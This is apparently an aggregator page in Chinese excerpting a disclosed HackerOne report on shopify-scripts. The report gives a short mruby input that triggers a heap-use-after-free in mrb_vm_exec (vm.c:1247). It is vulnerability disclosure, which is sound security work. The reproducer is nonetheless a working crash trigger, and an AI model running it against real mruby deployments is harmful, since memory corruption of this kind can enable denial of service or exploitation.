heap-use-after-free in mrb_vm_exec - vm.c:1247
该报告还没有中文解读。
原文摘录
摘自原文（1892 字符中的一小部分）
Following input causes a heap-use-after-free in `mrb_vm_exec` (vm.c:1247):
原文中的代码
g=0.times.p{}
a %w{0 0 0 0 0 0 0 0 0 0
0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0
0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 { 0 } 0 0 0 0 0 0 0 0 0
0 0 0
0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 } 0}.(&:e)默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 shopify-scripts 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @ilsani · 版权归作者与 shopify-scripts 所有